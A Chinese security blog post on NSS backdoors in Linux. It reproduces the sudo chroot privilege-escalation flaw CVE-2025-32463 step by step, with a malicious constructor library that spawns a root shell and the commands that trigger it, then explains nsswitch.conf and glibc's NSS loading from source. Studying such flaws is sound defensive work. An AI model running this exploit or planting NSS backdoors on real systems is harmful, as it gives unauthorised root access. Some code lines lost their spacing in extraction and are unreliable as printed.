NSS 后门 | Linux 后门系列

· 2026-05-09 22:33 · 6 阅读

原创 NOP Team 2026-05-09 22:33 北京

愿心中的火永不熄灭!

赵姐是我永远的偶像!

0x01 从一个漏洞说起

2025 年 6 月 30 日,一个编号为 CVE-2025-32463 的 sudo 漏洞被公开披露,CVSS 评分 9.8(严重)。这个漏洞的特殊之处在于:任何本地普通用户,即使不在 sudoers 列表中,也能直接获取 root 权限。

不需要 0day,不需要复杂利用链,只需要几行命令。

漏洞的核心利用对象,是一个大多数运维人员从未关注过的配置文件——/etc/nsswitch.conf

攻击者只需在可控目录下伪造一份 nsswitch.conf,指向一个恶意编译的 libnss_*.so.2 共享库,然后通过 sudo -R(chroot)触发加载。由于 sudo 在 chroot 后、降权前读取这份伪造的配置文件,恶意库便以 root 身份被 dlopen() 加载并执行构造函数——一个 root shell 就这样诞生了。

整个过程可以简化为:

mkdir -p /tmp/evil/{etc,lib}
echo 'passwd: files myevil' > /tmp/evil/etc/nsswitch.conf
gcc -shared -fPIC -o /tmp/evil/lib/libnss_myevil.so.2 payload.c
sudo -R /tmp/evil id

是的,就这么简单。在 Ubuntu 24.04、Fedora 41、Debian、RHEL、Arch、WSL 2 等几乎所有主流 Linux 环境上均默认可用。

这个漏洞把一个长期被忽视的系统机制推到了聚光灯下:NSS(Name Service Switch)。它不仅是一个"无聊的配置文件",更是一个天然的代码执行入口。一旦被攻击者利用,它可以成为权限提升的跳板,也可以成为长期潜伏的后门。

本文将从 NSS 机制原理出发,深入剖析 NSS 后门的技术细节,涵盖从原理到实战、从攻击到防御的完整知识体系。

漏洞复现

环境要求:

⚠️ 以下内容仅供安全研究与授权测试使用,请勿用于非法用途。

Step 1:确认 sudo 版本

sudo --version

Step 2:创建一个无 sudo 权限的普通用户

为了更真实地模拟攻击场景,我们先创建一个不具备任何 sudo 权限的普通用户:

# 以 root 身份执行
useradd -m -s /bin/bash testuser
passwd testuser

验证该用户不在 sudoers 中:

su - testuser
sudo -l

后续所有操作均以 testuser 身份进行。

Step 3:创建工作目录

WORKDIR=$(mktemp -d)
cd$WORKDIR

Step 4:编写恶意 NSS 模块

创建 evil.c

#include<stdlib.h>
#include<unistd.h>
__attribute__((constructor))
voidpwn(void){
    setreuid(00);
    setregid(00);
    chdir("/");
    execl("/bin/bash""bash"NULL);
}

这段代码的关键在于 __attribute__((constructor))——它使得 pwn() 函数在共享库被 dlopen() 加载时自动执行,无需任何显式调用。函数内部通过 setreuid(0,0) 和 setregid(0,0) 将当前进程的 UID/GID 提升为 0(root),随后弹出一个 root shell。

Step 5:搭建伪造 chroot 环境

mkdir -p nop/etc
mkdir -p libnss_
echo"passwd: /nop" > nop/etc/nsswitch.conf
cp /etc/group nop/etc/

这里有几个要点:

  • nsswitch.conf 中 passwd: 后写的 /nop,NSS 会按规则拼接为 libnss_/nop.so.2。由于 /nop 以 / 开头,libnss_ 实际上变成了一个目录名,因此需要 mkdir -p libnss_ 创建这个目录,再将编译好的 nop.so.2 放入其中

  • 复制 /etc/group 是为了让 getgrnam() 调用不至于直接失败

Step 6:编译恶意共享库

gcc -shared -fPIC -Wl,-init,pwn -o libnss_/nop.so.2 evil.c

Step 7:触发漏洞

sudo -R nop id
# -R nop:chroot 到 nop 目录
# id:要执行的命令(无需存在,NSS 加载阶段就已触发,不会真正执行到这里)

此时 sudo 执行流程如下:

sudo -R nop id
  │
  ├─ chroot("nop")           ← 切换根目录到攻击者可控的 nop/
  │
  ├─ 读取 nop/etc/nsswitch.conf   ← 加载伪造配置
  │
  ├─ 解析 "passwd: /nop"          ← 尝试加载 libnss_/nop.so.2
  │
  ├─ dlopen("libnss_/nop.so.2")   ← 以 root 身份加载恶意库
  │
  └─ pwn() 构造函数执行            ← setreuid(0,0) → root shell

如果漏洞利用成功,将直接进入一个 root shell

Step 8:清理

rm -rf $WORKDIR

漏洞根因

这个漏洞的根源在于 sudo 对 -R--chroot)选项的处理时序存在缺陷:

  1. sudo 是一个 setuid root 二进制文件,启动时拥有 root 权限

  2. 从 sudo 1.9.14 开始,-R 选项会在策略评估阶段就执行 chroot()

  3. chroot 之后,sudo 仍以 root 身份调用 getpwuid() 等函数进行用户身份查询

  4. 这些函数内部通过 NSS 机制读取 chroot 内的 /etc/nsswitch.conf

  5. 攻击者完全控制 chroot 内的文件,从而注入恶意 NSS 模块

  6. 恶意模块在权限降低之前就已执行

简而言之:sudo 在一个攻击者可控的环境中,以 root 身份加载了攻击者指定的代码。

该漏洞已在 sudo 1.9.17p1 中修复,修复方式是回退了 1.9.14 中引入的 chroot 相关变更,并将 chroot 功能标记为 deprecated(已弃用),将在未来版本中完全移除。原因是该功能本身不被广泛使用,且由于 sudo 解析命令的方式,支持用户指定的 chroot 目录容易出错。

虽然漏洞已经修复了,但是关于 NSS 后门的相关探索还没开始,接下来我们将一点一点探索。

本文 PDF 版本下载地址: https://github.com/Just-Hack-For-Fun/papers

0x02 NSS 介绍

NSS,全称 Name Service Switch(名称服务切换),是 Linux/Unix 系统中用于控制"各类名称信息如何解析"的机制。

通俗地说,当系统需要回答这些问题时:

  • "用户 alice 的 UID 是多少?"

  • "www.example.com 的 IP 地址是什么?"

  • "80 端口对应什么服务?"

  • "用户 alice 属于哪些组?"

背后都是 NSS 在决定去哪里查、按什么顺序查

配置文件:/etc/nsswitch.conf

NSS 的行为由 /etc/nsswitch.conf 控制。一个典型的配置文件如下:

passwd:     files systemd
group:      files systemd
shadow:     files
hosts:      files dns mdns4_minimal [NOTFOUND=return] dns
networks:   files
protocols:  files
services:   files
ethers:     files

每一行的格式为:

<数据库>: <数据源1> [数据源2] [数据源3] ...

系统会从左到右依次查询,直到找到结果或全部尝试完毕。

数据库列表

以下为 glibc 支持的用户可见数据库列表(来源:man nsswitch.conf 及 glibc 源码 nss/databases.def):

数据库

用途

相关函数

aliases

邮件别名(当前被 glibc 忽略)

getaliasent(3)
ethers

以太网 MAC 地址映射

ether_hostton(3)
group

用户组信息

getgrent(3)
gshadow

组密码哈希(shadow group)

getsgnam(3)
hosts

主机名 ↔ IP 映射

gethostbyname(3)
initgroups

补充组访问列表

getgrouplist(3)
netgroup

网络范围的主机/用户列表(用于访问控制)

setnetgrent(3)
networks

网络名 ↔ 网络地址

getnetent(3)
passwd

用户账号信息

getpwent(3)
protocols

网络协议名 ↔ 协议号

getprotoent(3)
publickey

Secure RPC 公钥/私钥(NFS、NIS+ 使用)

rpc

RPC 程序名 ↔ 程序号

getrpcbyname(3)
services

网络服务名 ↔ 端口映射

getservent(3)
shadow

用户密码哈希(shadow password)

getspnam(3)

说明:glibc 内部还定义了 passwd_compatgroup_compatshadow_compat 三个伪数据库,用于 compat 模式下的 NIS 查询,普通用户无需关心,因此未列入上表。

此外,一些应用程序会扩展自己的 NSS 数据库。例如 sudo 使用 sudoers 数据库,subuid(5) / subgid(5) 使用 subid 数据库。glibc 会忽略未知的数据库名,而第三方程序可以自行解析。

常见数据源

与数据库不同,数据源列表不是固定的。NSS 的数据源完全取决于系统上安装了哪些 libnss_*.so.2 共享库——每安装一个共享库,就多一个可用的数据源。

我们可以通过查看系统上的库文件来确认当前可用的数据源:

find / -name 'libnss_*.so*' -type f 2>/dev/null

Ubuntu Server 24.04 系统上默认有 5 个 NSS 库,对应 5 个数据源。其中 4 个来自 glibc 内置,另外 1 个 libnss_systemd.so.2 来自 systemd 包。如果安装了 libnss-ldap 包,就会多出 libnss_ldap.so.2,数据源列表也随之增长。

可以通过 dpkg -S 确认每个库所属的软件包:

libnss_compat.so.2   → libc6 (glibc)
libnss_dns.so.2      → libc6 (glibc)
libnss_files.so.2    → libc6 (glibc)
libnss_hesiod.so.2   → libc6 (glibc)
libnss_systemd.so.2  → libnss-systemd

以下是 glibc 内置的标准数据源(共 4 个,均来自 libc6 包):

数据源

共享库

说明

fileslibnss_files.so.2

查本地文件(如 /etc/passwd/etc/hosts

dnslibnss_dns.so.2

通过 DNS 协议查询(仅 hosts 数据库可用)

compatlibnss_compat.so.2

兼容模式,类似 files 但支持 NIS 特殊条目(+/-

hesiodlibnss_hesiod.so.2

通过 Hesiod 名称服务查询(MIT 开发的 DNS 式目录服务)

以下为常见的第三方扩展数据源(需额外安装对应软件包):

数据源

安装包

说明

systemdsystemd

(通常预装)

查 systemd-machined / systemd-resolved

ldaplibnss-ldap

查 LDAP 目录服务

ssssssd

查 SSSD(System Security Services Daemon)

winbindwinbind

(Samba)

查 Windows 域控制器

nis

 / nisplus

libnss-nis

查 NIS/NIS+ 网络信息服务

mdns4_minimallibnss-mdns

通过 mDNS(组播 DNS)在局域网内查询

resolvesystemd-resolved

通过 systemd-resolved 查询

myhostnamesystemd

将本地主机名解析为本地 IP

mymachinessystemd

解析本地容器(systemd-nspawn)的主机名

这种"共享库即数据源"的设计,正是 NSS 后门得以实现的基础——攻击者只需提供一个自定义的 libnss_*.so.2,就能让系统加载并执行任意代码。

为什么是 .so.2 而不是 .so?

如果阅读过《程序员的自我修养》这本书,一定对这部分内容不陌生

所有 NSS 库文件名都以 .so.2 结尾,而不是常见的 .so。这里的 .2 是共享库的 SONAME 版本号,代表 ABI(应用二进制接口)的兼容版本。

man nsswitch.conf 中有明确说明:

Libraries called /lib/libnss_SERVICE.so.X will provide the named SERVICE. The version number X may be 1 for glibc 2.0, or 2 for glibc 2.1 and later.

SONAME

对应 glibc 版本

.so.1

glibc 2.0(已淘汰)

.so.2

glibc 2.1 及之后所有版本(当前所有现代 Linux)

glibc 在内部通过 dlopen() 加载 NSS 模块时,硬编码查找的就是 libnss_xxx.so.2。这意味着:

  • 攻击者构造恶意库时,文件名必须是 libnss_xxx.so.2,而不能是 libnss_xxx.so

  • 这也是为什么在前面漏洞复现的编译步骤中,输出文件名必须带 .so.2 后缀

一个具体的例子

当执行 ping www.example.com 时,系统内部实际的解析流程是:

ping www.example.com
  │
  └─ gethostbyname("www.example.com")    ← glibc 函数调用
       │
       └─ NSS 读取 /etc/nsswitch.conf 中 hosts 行
            │
            │  hosts: files dns mdns4_minimal
            │
            ├─ 先查 files → /etc/hosts 中有没有?没有则继续
            │
            └─ 再查 dns  → 发起 DNS 查询 → 获得 93.184.216.34

可以看到,NSS 作为一个中间层,连接了上层的 glibc 函数调用(如 gethostbynamegetpwnam)和底层的各种数据源(本地文件、DNS、LDAP 等)。

动态加载机制:关键所在

NSS 最关键的设计在于:每个数据源对应一个共享库文件

当 NSS 需要查询某个数据源时,它通过 dlopen()动态加载对应的共享库。库文件的命名规则为:

libnss_<数据源名>.so.2

例如:

数据源

对应的共享库

files/lib/x86_64-linux-gnu/libnss_files.so.2
dns/lib/x86_64-linux-gnu/libnss_dns.so.2
ldap/lib/x86_64-linux-gnu/libnss_ldap.so.2
mdns4_minimal/lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2

这意味着:只要能在 nsswitch.conf 中控制数据源名称,就能让系统加载任意的 .so 文件。

这也是 CVE-2025-32463 以及各类 NSS 后门的核心利用点——下一节我们将深入探讨这一点。

0x03 NSS 机制深入

本章源码分析基于 glibc 2.39(Ubuntu 24.04 当前版本),源码获取方式:git clone --branch glibc-2.39 https://sourceware.org/git/glibc.git

3.1 配置文件语法完全解析

/etc/nsswitch.conf 每一行的完整语法为:

<数据库>: <数据源1> [STATUS=ACTION] <数据源2> [STATUS=ACTION] ...

基本元素

  • 数据库:第一列,如 passwdhostsgroup 等(0x02 已列出完整列表)

  • 数据源:后续每列,如 filesdnsldap 等

  • 条件动作:用方括号 [...] 包裹,紧跟在数据源后面

系统按从左到右的顺序依次查询每个数据源,查询结果会触发对应的条件动作,决定是继续还是停止。

STATUS:查询结果的四种状态

每次 NSS 查询可能返回以下四种状态(定义于 nss/nss.h)。另外,NSS_STATUS_RETURN 是 glibc 内部使用的第五个枚举值,主要用于边界检查和 compat/netgrp 等内部模块的特殊流程控制,第三方 NSS 模块通常不需要返回该状态:

enum nss_status
{
  NSS_STATUS_TRYAGAIN = -2,  // 服务暂时不可用(如文件被锁、服务器繁忙)
  NSS_STATUS_UNAVAIL,        // 服务永久不可用(如文件不存在、服务器离线)
  NSS_STATUS_NOTFOUND,       // 查询成功但未找到目标条目
  NSS_STATUS_SUCCESS,        // 查询成功且找到了目标条目
  NSS_STATUS_RETURN,         // 内部标记值,用于边界检查和终止动作,不由模块返回
};

ACTION:三种响应动作

动作

含义

return

立即返回当前结果,不再查询后续数据源

continue

忽略当前结果,继续查询下一个数据源

merge

合并当前结果与下一个数据源的结果(仅 group 数据库支持,glibc 2.24+)

条件动作语法

[STATUS=ACTION]
[!STATUS=ACTION]
  • ! 表示取反:匹配除指定状态外的所有状态

  • 大小写不敏感(源码中使用 __strncasecmp 比较)

  • 一个方括号内可以写多个条件,用空格分隔

默认行为

如果不写任何 [STATUS=ACTION],每个数据源使用以下默认动作:

STATUS

默认 ACTION

SUCCESSreturn
NOTFOUNDcontinue
UNAVAILcontinue
TRYAGAINcontinue

这个默认行为在源码 nss/nss_action_parse.c 中可以清晰看到(第 64-66 行):

nss_action_set_all (&new_service, NSS_ACTION_CONTINUE);
nss_action_set (&new_service, NSS_STATUS_SUCCESS, NSS_ACTION_RETURN);
nss_action_set (&new_service, NSS_STATUS_RETURN, NSS_ACTION_RETURN);

即:先将所有状态设为 CONTINUE,然后将 SUCCESS 和 RETURN 覆盖为 RETURN

实际配置示例解读

示例 1:Ubuntu 24.04 实际配置

hosts: files dns

解析流程:

1. 查 files(本地 /etc/hosts)
   - SUCCESS → return(默认:找到了就直接返回)
   - NOTFOUND → continue(默认:没找到继续查 dns)
   - UNAVAIL → continue(默认)
2. 查 dns(DNS 服务器查询)
   - SUCCESS → return(默认)
   - NOTFOUND → return(默认)
   - UNAVAIL → return(默认)

示例 2:带条件动作的配置(常见于安装了 mDNS 的系统)

hosts: files mdns4_minimal [NOTFOUND=return] dns

解析流程:

1. 查 files(本地 /etc/hosts)
   - SUCCESS → return(默认)
   - NOTFOUND → continue(默认)
   - UNAVAIL → continue(默认)
2. 查 mdns4_minimal(mDNS 局域网解析)
   - SUCCESS → return(默认)
   - NOTFOUND → return(显式指定:局域网没找到就放弃,不再查后面的 dns)
   - UNAVAIL → continue(默认)
3. 查 dns(DNS 服务器查询)
   - 作为 mdns4_minimal NOTFOUND 之外情况的后备

示例 3:取反操作符

hosts: dns [!UNAVAIL=return] files

!UNAVAIL=return 的含义是:对除 UNAVAIL 之外的所有状态执行 return。等价于同时写了:

hosts: dns [SUCCESS=return NOTFOUND=return TRYAGAIN=return] files

即:DNS 只要在运行(不管找到没找到),就直接返回结果;只有 DNS 完全不可用时,才回退到 files。

一个关键细节:NOTFOUND 和 UNAVAIL 的区别

在理解 NSS 后门之前,必须搞清楚一个容易混淆的问题。以 passwd 数据库为例:

passwd: files ldap

当查找用户 test1 时,如果 /etc/passwd 中没有这个用户,files 数据源会返回什么状态?

很多人会直觉认为是"没找到"或者"不可用",但 NSS 对此有精确的区分:

状态

含义

触发条件

默认动作

NOTFOUND

数据源可用,但查不到目标条目

/etc/passwd

 正常打开、逐行遍历完毕,但里面没有 test1

continue
UNAVAIL

数据源本身不可用

/etc/passwd

 文件不存在,或无法打开

continue

两者的默认动作都是 continue,会继续查下一个数据源。也就是说:

  • files 中没找到用户 → 返回 NOTFOUND → continue → 继续查 ldap

  • files不可用(文件被删)→ 返回 UNAVAIL → continue → 继续查 ldap

  • files 中找到了用户 → 返回 SUCCESS → return → 停止查询,不再查 ldap

这个"NOTFOUND 默认 continue"的行为,正是 NSS 后门的核心前提:攻击者可以在 files 后面追加一个恶意数据源(如 nop),当系统用户查找在 /etc/passwd 中找不到时,查询会自动落到恶意模块上。恶意模块可以返回一个伪造的用户条目(如 UID=0 的后门账户),而合法用户(在 files 中能找到的)完全不受影响。

3.2 源码解析:glibc 如何加载 NSS 模块

本节将从源码层面追踪一个完整的 NSS 查询过程。

先从一个日常场景说起:当你在终端执行 id alice 时,系统需要知道用户 alice 的 UID、GID、所属组等信息。这些信息存储在 /etc/passwd 中,但系统并不是直接读文件——而是通过 glibc 提供的 getpwnam() 函数来查询。

getpwnam("alice") 的含义是:"按用户名(passwd name)查找用户信息"。它返回一个 struct passwd 结构体,包含用户名、UID、GID、home 目录、shell 等字段。

许多常见的系统操作都会间接调用这个函数:

命令/操作

内部调用

id alicegetpwnam("alice")
ls -l

(显示文件属主)

getpwuid(uid)

(按 UID 查)

ssh alice@hostgetpwnam("alice")
sudogetpwuid(uid)

 + getpwnam(name)

logingetpwnam("alice")

而 getpwnam() 正是通过 NSS 机制来决定"去哪里查"。接下来我们就追踪这个调用链。

调用链总览

应用程序: getpwnam("alice")
  │
  └─ glibc: __getpwnam_r("alice", ...)           ← getXXbyYY_r.c 模板展开
       │
       ├─ __nss_passwd_lookup2(&nip, ...)          ← 获取 passwd 数据库的配置
       │    │
       │    └─ __nss_database_get(nss_database_passwd, &actions)  ← nss_database.c
       │         │
       │         └─ nss_database_check_reload_and_get(...)  ← 检查是否需要重新加载配置
       │
       ├─ __nss_lookup_function(nip, "getpwnam_r")  ← nsswitch.c
       │    │
       │    └─ __nss_module_get_function(module, "getpwnam_r")  ← nss_module.c
       │         │
       │         ├─ __nss_module_load(module)       ← 确保 .so 已加载
       │         │    │
       │         │    └─ module_load(module)        ← 实际加载逻辑
       │         │         │
       │         │         ├─ files/dns → 内置模块,直接绑定函数指针
       │         │         └─ 其他 → __libc_dlopen("libnss_xxx.so.2")
       │         │
       │         └─ 从已加载模块中查找 "_nss_files_getpwnam_r" 函数
       │
       └─ 调用 _nss_files_getpwnam_r("alice", ...)  ← 执行实际查询

关键步骤一:读取和解析 nsswitch.conf

当进程首次进行 NSS 查询时,glibc 调用 __nss_database_get()nss/nss_database.c),该函数内部调用 nss_database_check_reload_and_get()

检查配置是否变化nss_database.c 第 409-414 行):

structfile_change_detectioninitial;
if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
returnfalse;
__libc_lock_lock (local->lock);
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
  {
    *result = local->data.services[database_index];
    __libc_lock_unlock (local->lock);
returntrue;
  }

glibc 通过 stat() 系统调用检测 /etc/nsswitch.conf 的文件元信息(大小、修改时间等)是否变化。如果没变,直接返回缓存的配置。如果变化了,就重新打开文件、逐行解析。

逐行解析nss_database.c 第 208-237 行):

staticbool
process_line(struct nss_database_data *data, char *line)
{
// 跳过前导空白
while (isspace (line[0])) ++line;
// 识别 "<database> :" 部分
char *name = line;
while (line[0] != '\0' && !isspace (line[0]) && line[0] != ':') ++line;
// ... 截断冒号和空白 ...
int db = name_to_database_index (name);
if (db < 0)
returntrue;  // 不是 glibc 管理的数据库(如 sudoers),跳过
  nss_action_list result = __nss_action_parse (line);  // 解析数据源列表
  data->services[db] = result;
returntrue;
}

注意第 228-230 行:如果数据库名不在 glibc 已知列表中(如 sudoers),会被静默忽略

关键步骤二:构造共享库文件名并 dlopen

当查询需要使用某个数据源时,__nss_module_get_function()nss/nss_module.c 第 323 行)被调用。它先确保模块已加载,然后查找函数指针。

加载模块的核心逻辑nss_module.c 第 170-189 行):

staticbool
module_load(struct nss_module *module)
{
// files 和 dns 是内置模块,不走 dlopen
if (strcmp (module->name, "files") == 0)
return module_load_nss_files (module);
if (strcmp (module->name, "dns") == 0)
return module_load_nss_dns (module);
// 其他模块:构造文件名并 dlopen
char *shlib_name;
if (__asprintf (&shlib_name, "libnss_%s.so%s",
module->name, __nss_shlib_revision) < 0)
returnfalse;
  handle = __libc_dlopen (shlib_name);
free (shlib_name);

文件名构造规则nss_module.c 第 43-44 行):

staticconstchar *const __nss_shlib_revision
    = LIBNSS_FILES_SO + sizeof("libnss_files.so") - 1;

LIBNSS_FILES_SO 是编译时生成的宏,值为 "libnss_files.so.2"。通过指针偏移提取出 ".2" 部分。然后用 __asprintf 拼接为:

libnss_<数据源名>.so.2

例如数据源名为 files → libnss_files.so.2,数据源名为 ldap → libnss_ldap.so.2

__libc_dlopen 的搜索路径

__libc_dlopen 是 glibc 内部版本的 dlopen,它不受LD_LIBRARY_PATH 环境变量影响(出于安全考虑)。它搜索的路径由 /etc/ld.so.cache 和默认路径 /lib/x86_64-linux-gnu//usr/lib/x86_64-linux-gnu/ 决定。

加载后查找函数nss_module.c 第 226-239 行):

for (size_t idx = 0; idx < array_length (nss_function_name_array); ++idx)
  {
char *function_name;
if (__asprintf (&function_name, "_nss_%s_%s",
module->name, nss_function_name_array[idx]) < 0)
      { /* ... */ }
    pointers[idx] = __libc_dlsym (handle, function_name);
free (function_name);
  }

加载 .so 后,glibc 会立即用 dlsym 查找模块中所有可能的 NSS 函数(如 _nss_files_getpwnam_r_nss_files_getpwuid_r 等),缓存函数指针。模块不需要导出所有函数,缺失的函数指针为 NULL,查询时会跳过。

关键步骤三:状态机驱动的查询循环

回到查询入口 getXXbyYY_r.c(第 264-345 行),核心循环如下:

no_more = DB_LOOKUP_FCT (&nip, REENTRANT_NAME_STRING, ...);
while (no_more == 0)
  {
    status = DL_CALL_FCT (fct.l, (ADD_VARIABLES, resbuf, buffer, ...));
// 根据 status 和配置中的 [STATUS=ACTION] 决定下一步
    no_more = __nss_next2 (&nip, ..., status, 0);
  }

每次调用一个数据源的函数后,__nss_next2()nsswitch.c 第 91 行)根据返回的 status 查找配置中对应的 action:

  • NSS_ACTION_RETURN → 结束查询,返回当前结果

  • NSS_ACTION_CONTINUE → 移动到下一个数据源,继续查询

  • NSS_ACTION_MERGE → 合并结果后继续

3.3 源码解析:如何编写一个 NSS 模块

基于对 glibc 源码的分析,本节将总结编写 NSS 模块的通用规范。理解这些规范后,你可以为任意数据库(passwd、hosts、group 等)编写自定义模块。

通用函数命名规则

所有 NSS 模块导出的函数遵循统一的命名规则:

_nss_<数据源名>_<NSS函数名>

其中 <NSS函数名> 来自 glibc 维护的固定列表(定义于 nss/function.def,共 64 个函数)。glibc 在加载模块时会遍历这个列表,用 dlsym 查找每个函数是否存在。

完整的函数列表如下:

endaliasent      getaliasbyname_r   getaliasent_r     setaliasent
endetherent      getetherent_r      gethostton_r      getntohost_r      setetherent
endgrent         getgrent_r         getgrgid_r        getgrnam_r        setgrent
endhostent       gethostbyaddr_r    gethostbyaddr2_r  gethostbyname_r   gethostbyname2_r
                 gethostbyname3_r   gethostbyname4_r  gethostent_r      sethostent
                 getcanonname_r
endnetent        getnetbyaddr_r     getnetbyname_r    getnetent_r       setnetent
endnetgrent      getnetgrent_r      setnetgrent
endprotoent      getprotobyname_r   getprotobynumber_r getprotoent_r    setprotoent
endpwent         getpwent_r         getpwnam_r        getpwuid_r        setpwent
endrpcent        getrpcbyname_r     getrpcbynumber_r  getrpcent_r       setrpcent
endservent       getservbyname_r    getservbyport_r   getservent_r      setservent
endsgent         getsgent_r         getsgnam_r        setsgent
endspent         getspent_r         getspnam_r        setspent
                 getpublickey       getsecretkey
                 initgroups_dyn     netname2user

一个模块不需要导出所有 64 个函数。glibc 会用 dlsym 逐个查找,找不到的函数指针置为 NULL,查询时自动跳过。模块只需实现自己关心的数据库对应的函数子集。

按数据库分组的函数子集

为了更直观地理解,我们将 64 个函数按数据库分组:

passwd 数据库(用户信息):

函数名

用途

_nss_xxx_setpwent

初始化遍历

_nss_xxx_endpwent

结束遍历

_nss_xxx_getpwent_r

逐条遍历

_nss_xxx_getpwnam_r

按用户名查找

_nss_xxx_getpwuid_r

按 UID 查找

group 数据库(用户组信息):

函数名

用途

_nss_xxx_setgrent

初始化遍历

_nss_xxx_endgrent

结束遍历

_nss_xxx_getgrent_r

逐条遍历

_nss_xxx_getgrnam_r

按组名查找

_nss_xxx_getgrgid_r

按 GID 查找

_nss_xxx_initgroups_dyn

获取用户的补充组列表

hosts 数据库(主机名解析):

函数名

用途

_nss_xxx_sethostent

初始化遍历

_nss_xxx_endhostent

结束遍历

_nss_xxx_gethostent_r

逐条遍历

_nss_xxx_gethostbyname_r

按主机名查找(IPv4)

_nss_xxx_gethostbyname2_r

按主机名查找(指定地址族)

_nss_xxx_gethostbyname3_r

扩展版(含额外统计信息)

_nss_xxx_gethostbyname4_r

支持 IPv6 的扩展版

_nss_xxx_gethostbyaddr_r

按 IP 地址反查主机名

_nss_xxx_gethostbyaddr2_r

扩展版

_nss_xxx_getcanonname_r

获取规范主机名

可以看到,不同数据库的函数数量和复杂度差异很大。passwd 最简单(5 个函数),hosts 最复杂(10 个函数)。一个最小化的模块通常只实现其中的 1-2 个查询函数即可。

通用返回值约定

所有 NSS 查询函数(无论哪个数据库)都返回 enum nss_statusnss/nss.h):

enum nss_status
{
  NSS_STATUS_TRYAGAIN = -2,  // 临时失败(如缓冲区太小)
  NSS_STATUS_UNAVAIL,        // 服务不可用
  NSS_STATUS_NOTFOUND,       // 查询完成但未找到
  NSS_STATUS_SUCCESS,        // 查询成功
};

通用参数约定

所有查询函数都遵循相同的参数模式:

enum nss_status
_nss_xxx_getXXbyYY_r (<查询参数>,
                      <结果结构体> *result,
char *buffer,
size_t buflen,
int *errnop)
  • 查询参数:因数据库而异(如 passwd 是 const char *name 或 uid_t uid,hosts 是 const char *hostname

  • result:输出参数,结构体类型因数据库而异(struct passwdstruct hostentstruct group 等)

  • buffer:调用方提供的缓冲区,用于存放 result 中指针所指向的字符串数据

  • buflen:缓冲区大小

  • errnop:错误码输出,ERANGE 表示缓冲区太小

libnss_files 源码分析(以 passwd 为例)

理解了命名规则和调用约定后,我们来看 glibc 官方模块的完整执行流程。以 passwd 数据库为例,当应用程序调用 getpwnam("alice") 时,经过 3.2 节分析的 NSS 框架层后,最终会调用到 libnss_files.so.2 中的 _nss_files_getpwnam_r 函数。

这个函数从哪里来?

nss/nss_files/files-pwd.c 整个文件只有约 45 行:

#include<pwd.h>
#include<nss.h>
#define STRUCTURE  passwd
#define ENTNAME    pwent
#define DATABASE   "passwd"
structpwent_data {};
#define EXTERN_PARSER
#include"files-parse.c"
#include GENERIC
DB_LOOKUP (pwnam, '.'0, ("%s", name),
           {
if (name[0] != '+' && name[0] != '-'
                 && ! strcmp (name, result->pw_name))
break;
           }, constchar *name)
DB_LOOKUP (pwuid, '='20, ("%lu", (unsignedlongint) uid),
           {
if (result->pw_uid == uid && result->pw_name[0] != '+'
                 && result->pw_name[0] != '-')
break;
           }, uid_t uid)

代码很短,但信息量很大。先看前半部分的宏定义和 include:

  • STRUCTURE passwd → 结果结构体类型为 struct passwd

  • DATABASE "passwd" → 数据文件路径为 /etc/passwd(由 files-XXX.c 中 #define DATAFILE "/etc/" DATABASE 拼接)

  • ENTNAME pwent → 用于拼接函数名(如 _nss_files_setpwent_nss_files_endpwent

  • #include "files-parse.c" → 引入行解析器,负责将 /etc/passwd 的每一行文本解析为 struct passwd

  • #include GENERIC(展开为 files-XXX.c)→ 引入通用框架,提供 setpwent/endpwent/getpwent_r 等函数,以及 DB_LOOKUP 宏定义

再看后半部分的 DB_LOOKUP 调用。DB_LOOKUP 是定义在 files-XXX.c 中的一个宏,它是一个函数生成器,通过 C 预处理自动生成完整的查询函数。宏定义如下:

#define DB_LOOKUP(name, db_char, keysize, keypattern, break_if_match, proto...)\
enum nss_status                                                                 \
_nss_files_get##name##_r (proto,                                                \
                          struct STRUCTURE *result, char *buffer,                \
                          size_t buflen, int *errnop)                            \
{                                                                               \
  enum nss_status status;                                                       \
  FILE *stream = NULL;                                                          \
  status = internal_setent (&stream);                                           \
if (status == NSS_STATUS_SUCCESS)                                             \
    {                                                                           \
      while ((status = internal_getent (stream, result, buffer, buflen, errnop))\
             == NSS_STATUS_SUCCESS)                                             \
        { break_if_match }                                                      \
      fclose (stream);                                                          \
    }                                                                           \
  return status;                                                                \
}

以 DB_LOOKUP(pwnam, ...) 为例,参数对应关系为:

宏参数

传入值

展开后的作用

namepwnam

通过 ## 标记粘合拼接函数名 → _nss_files_getpwnam_r

db_char'.'

数据库分隔符(本模板未使用)

keysize0

键大小(本模板未使用)

keypattern("%s", name)

键格式(本模板未使用)

break_if_match{ if (...) break; }

替换到 while 循环体内,作为匹配条件

proto...const char *name

变长参数,展开到函数参数列表开头

展开过程中有三个关键机制:

  1. ##name## 标记粘合(token pasting):C 预处理将 _nss_files_get + pwnam + _r 拼成一个标识符 _nss_files_getpwnam_r

  2. proto... 变长宏参数const char *name 原样展开到函数参数列表的第一个位置

  3. STRUCTURE 宏替换files-pwd.c 开头定义了 #define STRUCTURE passwd,所以 struct STRUCTURE 变成 struct passwd

展开后的完整函数如下:

enum nss_status
_nss_files_getpwnam_r (constchar *name,
                       struct passwd *result,
char *buffer,
size_t buflen,
int *errnop)
{
enum nss_status status;
    FILE *stream = NULL;
    status = internal_setent (&stream);
if (status == NSS_STATUS_SUCCESS)
    {
while ((status = internal_getent (stream, result, buffer, buflen, errnop))
               == NSS_STATUS_SUCCESS)
        {
if (name[0] != '+' && name[0] != '-'
                && ! strcmp (name, result->pw_name))
break;
        }
        fclose (stream);
    }
return status;
}

完整的执行流程如下:

_nss_files_getpwnam_r("alice", ...)
  │
  ├─ 1. internal_setent(&stream)
  │     ├─ 调用 __nss_files_fopen(DATAFILE)
  │     │   DATAFILE = "/etc/" + DATABASE = "/etc/passwd"
  │     ├─ 打开成功 → 返回 NSS_STATUS_SUCCESS
  │     └─ 打开失败(文件不存在)→ 返回 NSS_STATUS_UNAVAIL
  │
  ├─ 2. internal_getent(stream, result, buffer, ...)    ← 循环调用
  │     ├─ __nss_readline() 从文件读取一行文本
  │     │   ├─ 文件结束 → 返回 NSS_STATUS_NOTFOUND
  │     │   └─ 读取成功 → 继续
  │     ├─ parse_line() 将文本行解析为 struct passwd
  │     │   例:将 "root:x:0:0:root:/root:/bin/bash" 解析为
  │     │   result->pw_name="root", pw_uid=0, pw_gid=0, ...
  │     │   ├─ 解析成功 → 返回 NSS_STATUS_SUCCESS
